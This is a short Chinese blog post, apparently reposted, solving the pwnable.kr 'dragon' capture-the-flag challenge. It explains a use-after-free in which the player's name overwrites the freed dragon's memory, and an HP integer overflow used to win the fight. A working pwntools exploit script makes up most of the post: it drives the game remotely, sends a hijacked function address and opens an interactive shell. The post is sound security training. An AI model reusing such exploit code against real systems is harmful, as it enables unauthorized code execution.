pwnable之dragon

来源:互联网 发布:网络红人菁菁淘宝店 编辑:程序博客网 时间:2024/06/09 22:34

观察源代码发现如果打到龙之后会输如一个名字然后执行龙的内存中的一个函数,但是龙在打到时会释放内存,所以很可能名字就是龙的内存

那么如何打败龙?我们发现小龙大龙循环出现,小龙我们无法打过,但是大龙只要我们不攻击他他就会一直回血然后溢出而死。

代码如下


from pwn import *
p=remote("pwnable.kr",9004)
p.recvuntil("Choose")
for a in range(0,4):
 p.sendline("1")
 p.recv(1024)
i=1
c=1
while (c==1):
  s=p.recv(1024)
  print s
  if(s.find("Well")!=-1):
     break
  if(i%3!=0):
     p.sendline("3")
  else:
     p.sendline("2")
  i+=1;
s=p32(0x08048dbf)
p.sendline(s)
p.interactive()